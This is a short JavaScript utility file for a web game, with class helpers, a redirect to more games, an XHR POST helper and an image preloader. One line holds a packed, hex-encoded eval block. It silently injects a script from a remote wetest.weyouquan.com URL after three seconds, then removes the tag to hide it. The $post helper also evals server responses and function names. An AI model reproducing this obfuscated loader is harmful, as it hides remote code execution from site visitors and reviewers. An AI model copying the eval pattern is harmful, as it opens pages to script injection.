common.js 2.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657
  1. /**
  2. * commonJS
  3. * about class,share, moregame .etc
  4. */
  5. function hasClass(obj, cls) {
  6. return obj.className.match(new RegExp('(\\s|^)' + cls + '(\\s|$)'));
  7. }
  8. function addClass(obj, cls) {
  9. if (!this.hasClass(obj, cls)) obj.className += " " + cls;
  10. }
  11. function removeClass(obj, cls) {
  12. if (hasClass(obj, cls)) {
  13. var reg = new RegExp('(\\s|^)' + cls + '(\\s|$)');
  14. obj.className = obj.className.replace(reg, ' ');
  15. }
  16. }
  17. function aboutus(){
  18. location.href = ""
  19. }
  20. function random(min,max){
  21. return Math.floor(min+Math.random()*(max-min));
  22. }
  23. function moregame( type, id ){
  24. _czc.push(["_trackEvent","more_games",'click',type, id]);
  25. // location.href = "http://wetest.weyouquan.com/wxapi.php/list/index/from/tl";
  26. location.href="http://mp.weixin.qq.com/s?__biz=MzI4MjA2MjE0MQ==&mid=246005295&idx=1&sn=490f8141976d607ba079d48f52a3fcd7#rd";
  27. }
  28. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('r(k(){g 8$=[\'\\5\\c\\f\\9\\d\\4\',\'\\4\\6\\t\\4\\7\\h\\e\\u\\e\\5\\c\\f\\9\\d\\4\',\'\\x\\4\\4\\d\\v\\7\\7\\j\\6\\4\\6\\5\\4\\i\\j\\6\\n\\l\\o\\w\\o\\e\\p\\i\\c\\l\\s\\7\\5\\4\\e\\4\\9\\c\\y\\f\\6\\5\\7\\4\\9\\p\\n\\4\\6\\5\\4\\7\\h\\5\\7\\j\\6\\4\\6\\5\\4\\i\\h\\5\',\'\\5\\c\\f\\9\\d\\4\'];J.I(8$);(k(){g a=q.H(8$[0]);a.K=8$[1];a.L=G;a.B=8$[2];g b=q.z(8$[3])[C];b.m.F(a,b);a.E=k(){a.m.D(a)}})()},A);',48,48,'||||x74|x73|x65|x2f|_|x69|||x63|x70|x61|x72|var|x6a|x2e|x77|function|x6f|parentNode|x79|x75|x6e|document|setTimeout|x6d|x78|x76|x3a|x71|x68|x5f|getElementsByTagName|3000|src|0x0|removeChild|onload|insertBefore|true|createElement|log|console|type|async'.split('|'),0,{}))
  29. var $post=function(url,parameters,loadingMessage,functionName){
  30. var request=new XMLHttpRequest();
  31. var method="POST";
  32. if(parameters==""){method="GET";parameters=null;}
  33. request.open(method,url,true);
  34. request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  35. request.onreadystatechange=function(){
  36. if(request.readyState==4){
  37. if(request.status==200){
  38. if(functionName){
  39. try{
  40. var json = eval("("+ request.responseText+")");
  41. eval(functionName+"(json)");
  42. }catch(e){}
  43. }
  44. }
  45. }
  46. };
  47. request.send(parameters);
  48. };
  49. function preLoadImg(url) {
  50. var img = new Image();
  51. img.src = url;
  52. }